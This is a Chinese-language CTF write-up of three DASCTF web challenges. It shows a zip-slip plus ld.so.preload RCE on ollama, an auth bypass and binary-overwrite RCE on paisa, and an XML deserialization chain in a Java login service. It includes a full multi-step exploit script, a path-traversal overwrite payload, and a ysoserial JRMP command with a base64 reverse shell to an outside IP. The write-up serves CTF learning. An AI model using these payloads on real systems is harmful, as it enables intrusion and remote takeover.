dasctf十月web方向部分题解


被ld.so.preload气晕。

ollama4shell

评价为最有遗憾的题目,就是差那个so就写出来了,真恶心啊。

ollama 0.1.34之前存在一个cve-2024-37032,但是题目给的ollama版本是1.4.0已经修复了,只能够另寻它路

发现了一个新版的任意文件写入:

https://vuldb.com/zh/?id.276057

这个是通过zip-slip漏洞从而将文件任意写入的洞,目前exp:

用这个exp可以直接写入。

关键是任意文件写之后我们要怎么操作呢??

cve-2024-37032的利用中已经提到了这一点:

https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032#the-vulnerability-arbitrary-file-write-via-path-traversal-25

Finally, Remote Code Execution

As we mentioned previously, it is possible to exploit the Arbitrary File Write vulnerability to corrupt certain files in the system. In Docker installations, it is pretty straightforward to exploit it and achieve Remote Code Execution, as the server runs with*root* privileges.

The simplest way we thought of achieving remote-code-execution would be to corrupt ld.so configuration files, specifically /etc/ld.so.preload. This file contains a whitespace -separated list of shared libraries that should be loaded whenever a new process starts. Using our Arbitrary File Write exploit-primitive, we plant our payload as a shared library on the filesystem (/root/bad.so) and then we corrupt etc/ld.so.preload to include it. Finally, we query the /api/chat endpoint on the Ollama API Server, which subsequently creates a new process and thus loads our payload!

简单地说就是利用/etc/ld.so.preload+任意so即可。当写入成功后需要调用/api/chat从而开出一个新进程触发ld.so.preload

这里ld.so.preload的内容就是你恶意so的路径,但是使用ld.so.preload会使得每次都会开一个新进程,导致直接被卡死(本地vps上试过,本地环境也试过),导致反弹不了shell。就是差这最后一步,必须要删除/etc/ld.so.preload才能够正常。

解决的方式就是在编写的c里面加上这一删除的过程:

编译成so:

1
gcc -shared -fPIC 1.c -o 1.so

制作zip-slip的脚本如下:

1
2
3
4
5
6
7
8
9
10
import zipfile

if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("D:\\lost and found\\CTF\\dasctf202410\\poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("/poc.zip")
zipFile.write("D:\\lost and found\\CTF\\dasctf202410\\1.so", "../../../../../../../root/1.so", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e

之后流程跟exp来就可以了,此处需要写入两次,第一次写入1.so,第二次写入/etc/ld.so.preload

linux虚拟机内的sha256sum命令能够快速算出我们生成的zip包的sha256值,之后只需修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"model_format": "gguf",
"model_family": "poc",
"model_families": [
"poc"
],
"model_type": "7.6B",
"file_type": "Q4_0",
"architecture": "amd64",
"os": "linux",
"rootfs": {
"type": "layers",
"diff_ids": [
"sha256:0c4d18c5ef95682c998d48a73f84a9e3c15ab57db428fc1e85b12290ce5ff7b5",
"sha256:5a6f2f745e489dd4dddee2369becf80a307b9ca8cc69b8dce730f5a574560c16"
]
}
}

最后一条sha256的值和这个文件的sha256值即可

latest文件也需要更新:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": {
"digest": "sha256:aa1a537b33ec6e2b5fd9b7e437228c9df7103c64868c5a7c19e095f8d33163a0",
"mediaType": "application/vnd.docker.container.image.v1+json",
"size": 455
},
"layers": [
{
"digest": "sha256:5a6f2f745e489dd4dddee2369becf80a307b9ca8cc69b8dce730f5a574560c16",
"mediaType": "application/vnd.ollama.image.template",
"size": 545
}
]
}

只需修改最下面的sha256值即可,为了方便我vps里起了两个相似的文件夹,另一个写入/etc/ld.so.preload的不用动

保证文件夹符合exp内的tree格式即可

接下来请求/api即可,注意对http请求要添加Insecure:true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
4. Send a /api/pull request with the malicious server parameter, this will download the evil blobs file


curl http://localhost:11434/api/pull -d '{
"name": "tea.trganda.top:2083/trganda/poc:latest"
}'


5. Send a `/api/create` request to ollama


curl http://localhost:11434/api/create -d '{
"name": "poc",
"modelfile": "from @sha256:d40ad46a9b249e3eab803090ec2a51d46405a0afcbfe2a0f1ada7ac3a810f7f9"
}'


6. The /tmp/evil.txt file was successfully created in container

此时再申请create安装,sha256更改为恶意zip的sha256

此时已经安装成功,本地查看:

估计重施安装/etc/ld.so.preload即可,之后需要去/api/chat触发新进程,官方api里是这么调用/api/chat的:

1
2
3
4
5
6
curl http://localhost:11434/api/chat -d '{
"model": "mistral",
"messages": [
{ "role": "user", "content": "why is the sky blue?" }
]
}'

这里需要一个model,我们还需要去安装一个model下来,官方api内提供了一个占用很小的model——all-minilm,这个甚至在100M以内,所以我们能够很快地把他pull下来:

但是这里报了个错

是的,这个模型不支持chat,那要怎么办呢

看官方api的演示,这里有个generate,说不定能靠此生成进程:

答案是可以的,这样shell就弹过来了,妈妈生的。

远程环境再复现一遍即可

真的是被气死了,操他妈的

paisa4shell

这题没做,看看思路。

题目提示:

前台RCE,题目使用官方docker镜像;flag请提交DASCTF{}里的内容;https://github.com/ananthakumaran/paisa

鉴权能绕、文件覆盖

首先是绕鉴权,一般都是/api,直接访问/api会报Invalid token,我们搜索这个错误:

可以看到它是这样判断的

1
2
3
4
5
6
return func(c *gin.Context) {
userAccounts := config.GetConfig().UserAccounts
if len(userAccounts) == 0 || !strings.HasPrefix(c.Request.RequestURI, "/api") {
c.Next()
return
}

那这个c.Request.RequestURI是啥呢,问问ai:

可以得到关键字:

1
用于获取原始的请求URI

此时如果我们将/apiurl编码的话,获取到的URI就是/%61pi,而不是/api,自然就绕过了鉴权。在server.go文件内有很多api接口,可以测试一下:

可以看到确实是可以的,那前台rce又怎么来的呢,前台RCE+文件覆盖

联想到rce,我们先在文件里面搜一下有没有内置的exec

锁定ledger.go并且查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
func (LedgerCLI) ValidateFile(journalPath string) ([]LedgerFileError, string, error) {
errors := []LedgerFileError{}

ledgerPath, err := binary.LedgerBinaryPath()
if err != nil {
return errors, "", err
}

var output, error bytes.Buffer
args := []string{"--args-only"}
if config.GetConfig().Strict == config.Yes {
args = append(args, "--pedantic")
}
args = append(args, "-f", journalPath, "balance")
err = utils.Exec(ledgerPath, &output, &error, args...)
if err == nil {
return errors, utils.Dos2Unix(output.String()), nil
}

re := regexp.MustCompile(`(?m)While parsing file "[^"]+", line ([0-9]+):\s*\n(?:(?:While|>).*\n)*((?:.*\n)*?Error: .*\n)`)

matches := re.FindAllStringSubmatch(utils.Dos2Unix(error.String()), -1)

for _, match := range matches {
line, _ := strconv.ParseUint(match[1], 10, 64)
errors = append(errors, LedgerFileError{LineFrom: line, LineTo: line, Message: match[2]})
}
return errors, "", err
}

可以看到这里执行了err = utils.Exec(ledgerPath, &output, &error, args...)

相当于把这个ledge文件执行了,我们往ledge里面写内容不就可以了吗

可以看到ledge应该放在了/usr/bin里,名字叫ledger

覆盖这个即可,知道写什么了,那怎么调用这个函数执行呢?

搜索ValidateFile()函数,看和api有没有联系:

可以看到/api/editor/validate调用了它

问题迎刃而解,现在只剩下要怎么覆盖的问题了,看看api里有没有覆写的api吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.POST("/api/editor/save", func(c *gin.Context) {
if config.GetConfig().Readonly {
c.JSON(200, gin.H{"errors": []ledger.LedgerFileError{}, "saved": false, "message": "Readonly mode"})
return
}

var ledgerFile LedgerFile
if err := c.ShouldBindJSON(&ledgerFile); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}

c.JSON(200, SaveFile(db, ledgerFile))
})

这个保存文件的api比较可疑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
func SaveFile(db *gorm.DB, file LedgerFile) gin.H {
errors, _, err := validateFile(file)
if err != nil {
return gin.H{"errors": errors, "saved": false, "message": "Validation failed"}
}

path := config.GetJournalPath()
dir := filepath.Dir(path)

filePath := filepath.Join(dir, file.Name)
backupPath := filepath.Join(dir, file.Name+".backup."+time.Now().Format("2006-01-02-15-04-05.000"))

err = os.MkdirAll(filepath.Dir(filePath), 0700)
if err != nil {
log.Warn(err)
return gin.H{"errors": errors, "saved": false, "message": "Failed to create directory"}
}

fileStat, err := os.Stat(filePath)
if err != nil && file.Operation != "overwrite" && file.Operation != "create" {
log.Warn(err)
return gin.H{"errors": errors, "saved": false, "message": "File does not exist"}
}

var perm os.FileMode = 0644
if err == nil {
if file.Operation == "create" {
return gin.H{"errors": errors, "saved": false, "message": "File already exists"}
}

perm = fileStat.Mode().Perm()
existingContent, err := os.ReadFile(filePath)
if err != nil {
log.Warn(err)
return gin.H{"errors": errors, "saved": false, "message": "Failed to read file"}
}

err = os.WriteFile(backupPath, existingContent, perm)
if err != nil {
log.Warn(err)
return gin.H{"errors": errors, "saved": false, "message": "Failed to create backup"}
}
}

err = os.WriteFile(filePath, []byte(file.Content), perm)
if err != nil {
log.Warn(err)
return gin.H{"errors": errors, "saved": false, "message": "Failed to write file"}
}

Sync(db, SyncRequest{Journal: true})

return gin.H{"errors": errors, "saved": true, "file": readLedgerFileWithVersions(dir, filePath)}
}

尝试利用这个api写文件即可,具体怎么写呢,还是看ai:

也就是说我们要用json传值,且变量名和LedgerFile结构体内的一致:

肯定要传namecontent的啦:

1
{"name":"../../../../../usr/bin/ledger", "content":"#!/bin/sh\nid"}

啊?这个api不行?那我们找一个相似的:

这个也是有相似功能的,写进去了:

访问/api/editor/validate触发

ezlogin

这个题本人觉得还是挺有意思的,知识盲区,学习了

一个登录的java服务,org.example.UserUtil如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package org.example.auth;

import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.XmlUtil;
import java.io.File;
import java.text.MessageFormat;
import javax.xml.parsers.DocumentBuilderFactory;
import org.springframework.web.context.support.XmlWebApplicationContext;

/* loaded from: ezlogin.jar:BOOT-INF/classes/org/example/auth/UserUtil.class */
public class UserUtil {
private static int maxLength = FileUtil.readString(new File("/user/AAAAAA.xml"), "UTF-8").length();
private static final File USER_DIR = new File("/user");
public static boolean login_in = false;

private static boolean checkSyntax(File xmlFile) {
try {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setNamespaceAware(false);
factory.newDocumentBuilder().parse(xmlFile);
return true;
} catch (Exception e) {
System.out.printf("XML syntax error : %s\n", xmlFile.getName());
return false;
}
}

public static String register(String username, String password) throws Exception {
File userFile = new File(USER_DIR, username + XmlWebApplicationContext.DEFAULT_CONFIG_LOCATION_SUFFIX);
if (userFile.exists()) {
return "User already exists!";
}
FileUtil.writeString(MessageFormat.format("<java>\n <object class=\"org.example.auth.User\">\n <void property=\"username\">\n <string>{0}</string>\n </void>\n <void property=\"password\">\n <string>{1}</string>\n </void>\n </object>\n</java>", username, password), userFile, "UTF-8");
return "Register successful!";
}

public static User login(String username, String password) throws Exception {
User user;
File userFile = new File(USER_DIR, username + XmlWebApplicationContext.DEFAULT_CONFIG_LOCATION_SUFFIX);
if (!userFile.exists() || (user = readUser(userFile)) == null || !user.getPassword().equals(password)) {
return null;
}
login_in = true;
return user;
}

private static User readUser(File userFile) throws Exception {
String content = FileUtil.readString(userFile, "UTF-8");
int length = content.length();
if (checkSyntax(userFile) && !content.contains("java.") && !content.contains("springframework.") && !content.contains("hutool.") && length <= maxLength) {
return (User) XmlUtil.readObjectFromXml(userFile);
}
System.out.printf("Unusual File Detected : %s\n", userFile.getName());
return null;
}

public static String changePassword(String username, String oldPass, String newPass) {
File userFile = new File(USER_DIR, username + XmlWebApplicationContext.DEFAULT_CONFIG_LOCATION_SUFFIX);
if (!userFile.exists()) {
return "User not exists!";
}
FileUtil.writeString(FileUtil.readString(userFile, "UTF-8").replace(oldPass, newPass), userFile, "UTF-8");
return "Edit Success!";
}

public static String delUser(String username) {
File userFile = new File(USER_DIR, username + XmlWebApplicationContext.DEFAULT_CONFIG_LOCATION_SUFFIX);
if (!userFile.exists()) {
return "User has already been deleted!";
}
try {
FileUtil.del(userFile);
return "User delete success!";
} catch (Exception e) {
return "error!";
}
}

public static boolean check(String username, String password) {
if (!username.matches("^[\\x20-\\x7E]{1,6}$") || !password.matches("^[\\x20-\\x7E]{3,10}$")) {
return false;
}
return true;
}
}

这里存在一个xml反序列化,就在readUser()

1
2
3
4
5
6
7
8
9
private static User readUser(File userFile) throws Exception {
String content = FileUtil.readString(userFile, "UTF-8");
int length = content.length();
if (checkSyntax(userFile) && !content.contains("java.") && !content.contains("springframework.") && !content.contains("hutool.") && length <= maxLength) {
return (User) XmlUtil.readObjectFromXml(userFile);
}
System.out.printf("Unusual File Detected : %s\n", userFile.getName());
return null;
}

这里做了一个waf,过了waf之后就调用readObjectfromXml进行xml反序列化

思路很简单,怎么控制这个xml能够自由写入,而且要写入什么。而且写入也是有限制的,在register里就给你写好了这个userfile:

1
2
3
4
5
6
7
8
public static String register(String username, String password) throws Exception {
File userFile = new File(USER_DIR, username + XmlWebApplicationContext.DEFAULT_CONFIG_LOCATION_SUFFIX);
if (userFile.exists()) {
return "User already exists!";
}
FileUtil.writeString(MessageFormat.format("<java>\n <object class=\"org.example.auth.User\">\n <void property=\"username\">\n <string>{0}</string>\n </void>\n <void property=\"password\">\n <string>{1}</string>\n </void>\n </object>\n</java>", username, password), userFile, "UTF-8");
return "Register successful!";
}

能写入的只有usernamepassword,而且usernamepassword写入的长度十分有限,分别只有最多6位和最多10位

题目提示:

逻辑漏洞 <!–

这个提示是<!--是xml的注释符,那题目就是提示我们去找能够注释掉的地方,而且不是注册接口,因为注册的地方不允许我们写入太长的payload。几个controller只剩deleteControllereditController没看了,RegistryController我们说了没啥用,LoginController是正常的

delUser的调用也没有什么问题,没有涉及到文件的写,而是直接删除了这个文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static String delUser(String username) {
File userFile = new File(USER_DIR, username + XmlWebApplicationContext.DEFAULT_CONFIG_LOCATION_SUFFIX);
if (!userFile.exists()) {
return "User has already been deleted!";
}
try {
FileUtil.del(userFile);
return "User delete success!";
} catch (Exception e) {
return "error!";
}
}

public static boolean del(File file) throws IORuntimeException {
if (file == null || false == file.exists()) {
return true;
}
if (file.isDirectory() && false == clean(file)) {
return false;
}
Path path = file.toPath();
try {
delFile(path);
return true;
} catch (DirectoryNotEmptyException e) {
del(path);
return true;
} catch (IOException e2) {
throw new IORuntimeException(e2);
}
}

那就只有edit了,而edit里只有修改密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class EditController {
@PostMapping(value = {"/editPass"}, consumes = {MediaType.APPLICATION_FORM_URLENCODED_VALUE})
@ResponseBody
public String edit(@RequestParam String newPass, HttpSession session) {
User user = (User) session.getAttribute("loggedInUser");
if (user == null) {
return "No user logged in!";
}
if (!UserUtil.check(user.getUsername(), newPass)) {
return "Invalid input ! Password length should be between 3-10 and it should be printable English chars!";
}
UserUtil.changePassword(user.getUsername(), user.getPassword(), newPass);
return "Edit success!";
}

@GetMapping({"/editPass"})
public String showEditPage() {
return "edit";
}
}

可以看到他从我们的session里获取了我们的信息,再根据这个session里的信息去获取到的username password。

也就是说调用changepassword的时候其实是获取到了我们session里的信息再用这个信息去改的

而修改的时候是直接将xml里的oldpass给replace成newpass

那这里就有漏洞了,如果session不变的话,我就可以限制oldpassxxx,此时newpass为aaaxxx,这样replace后文件就会变成aaaxxx,但是oldpass还是xxx,下一次newpass变成bbbxxx,这样子,下一次重置就变成了aaabbbxxx,这样一直写下去就可以了

而且可以很明显的发现session是不变的,无论是edit还是del都不会对session有影响。而且这也有一个好处,我这样还可以对同一个user的xml进行不断的修改,流程就是不断地注册同名用户,然后获取到session后就可以删除。

还有个问题就是写啥?

这是一个spring服务,所以肯定有jackson,我们还不能够直接传payload进去,因为payload太长了(个人认为),这题目还有长度的限制。要想缩短长度得用jrmp的思路

也就是:

1
2
3
4
5
6
7
<java>
<object class="javax.naming.InitialContext">
<void method="lookup">
<string>rmi://ip:port/a</string>
</void>
</object>
</java>

AAAAAA.xml:

1
2
3
4
5
6
7
8
9
10
<java>
<object class="org.example.auth.User">
<void property="username">
<string>AAAAAA</string>
</void>
<void property="password">
<string>AAAAAAAAAA</string>
</void>
</object>
</java>

而写入的文件就跟这个AAAAAA.xml几乎一致,这意味着我们要利用刚刚那个方法去改xml,我们还得把它改短:

1
2
3
4
5
6
7
8
9
10
<java>
<object class="org.example.auth.User">
<void property="username">
<string>AAAAAA</string>
</void>
<void property="password">
<string>/<java><object class="javax.naming.InitialContext"><void method="lookup"><string>rmi://ip:port/a</string></void></object></java>/</string>
</void>
</object>
</java>

/ /为分界线,分界线里面是我们需要的,其他的是我们需要注释掉的或者需要换掉以缩短长度的,而/ /就可以替换为-->和<!--进行注释。真正要写入的内容变为:

1
--><java><object class="javax.naming.InitialContext"><void method="lookup"><string>rmi://ip:port/a</string></void></object></java><!--

我们可以通过下面的方式去注释:

  • 注册关键词用户,获取他们的session,将其修改为最短的111(密码最短3位)
  • 对于<java></java>这两个我们可以改成<!--注释符,将java替换为!--配合我们的注释符
  • 对于写入payload,只需将oldpassword设置为任意标识符,例如_____,然后newpassword为xxxxx_____即可不断写入

由此可以写一个exp,这里就直接利用出题人的wp了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
import requests
import sys

targeturl = "http://"+sys.argv[1] //靶机地址

rmiserver = sys.argv[2] //rmi服务器地址

sessions = {}

def register(passwd):
data={"password":passwd,"username":"F"}
res = requests.post(targeturl+"/register",data=data)
if "success" in res.text.lower():
print(f"register {passwd} success")
else : print(f"register fail: {res.text}");exit(114514)

def getsession(passwd):
data={"password":passwd,"username":"F"}
res = requests.post(targeturl+"/login",data=data)
if "redirect" in res.text.lower() :
session=res.headers.get("Set-Cookie").split(";")[0].split("=")[1]
print(f"session for {passwd} : {session}")
headers = {"Cookie" : f"JSESSIONID={session}"}
sessions[passwd] = headers
else:
print(f"login fail : {res.text}");exit(114514)

def editpass(oldpass,newpass):
data={"newPass":newpass}
headers = sessions[oldpass]
res = requests.post(targeturl+"/editPass",data=data,headers=headers)
if "success" in res.text.lower():
print(f"change {oldpass} to {newpass} success")
else:
print(f"edit fail : {res.text}");exit(114514)

def deluser(passwd):
res = requests.get(targeturl+"/del",headers=sessions[passwd])
if "success" in res.text.lower():
print(f"delete {passwd} success")

def addsession(passwd):
register(passwd)
getsession(passwd)
deluser(passwd)

payload1 = "--><java><object class=\"javax.naming.InitialContext\"><void method=\"lookup\"><string>rmi://"+rmiserver+"/a</string></void></object></java><!--"
list1 = []
for i in range(0,len(payload1),5) :
if len(payload1) - i >= 5:
list1.append(payload1[i:i+5:]+"_____")
else:
list1.append(payload1[i:len(payload1)])
break
print(list1)
if len(list1[-1]) < 3:
list1[-1]=list1[-2][-8:-5:]+list1[-1]
list1[-2]=list1[-2][0:2]+list1[-2][-5:-1:]
print(list1)


list2=[]
payload2="11111 class=\"org.example.auth.User\""
for i in range(0,len(payload2),10) :
if len(payload2) - i >= 10:
list2.append(payload2[i:i+10:])
else:
list2.append(payload2[i:len(payload2)])
break
print(list2)
for s in list2:
addsession(s)

list3=[]
payload3="void property=\"username\""
for i in range(0,len(payload3),10) :
if len(payload3) - i >= 10:
list3.append(payload3[i:i+10:])
else:
list3.append(payload3[i:len(payload3)])
break
print(list3)


list4=[]
payload4="void property=\"password\""
for i in range(0,len(payload4),10) :
if len(payload4) - i >= 10:
list4.append(payload4[i:i+10:])
else:
list4.append(payload4[i:len(payload4)])
break
print(list4)



addsession("_____")

addsession("____")

for s in list3:
addsession(s)

for s in list4:
addsession(s)

addsession("string")

addsession("object")

addsession("/void")

addsession(" ")

addsession("1111111111")

addsession("/11111")

addsession("java")

addsession("11111")

register("haha")
getsession("haha")
editpass("java","!--")

editpass("string","11111")
editpass("object","11111")

editpass("/11111","11111")
editpass(" ","11111")

editpass("/void","111")

for s in list2:
editpass(s,"11111")

for s in list3:
editpass(s,"11111")

for s in list4:
editpass(s,"11111")

editpass("1111111111","11111")
editpass("1111111111","11111")

editpass("haha",list1[0])

editpass("11111","111")

# Now it's the shortest (237)

for payload in list1[1::]:
editpass("_____",payload)

editpass("____","<!--")

requests.post(targeturl+"/login",data={"username":"F","password":"1"})

可惜复现失败T_T,投降,jndi还是太难了

updated in 2024.10.26

红温了,原来是我vps没有开放80端口:

可以看到红框内换到6001端口就能发payload了,按照正常流程打一遍jrmp即可:

1
jdk1.8.0_112/bin/java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6001 Jackson "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzOC4xMjcuNzQvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}"

shell弹过来了: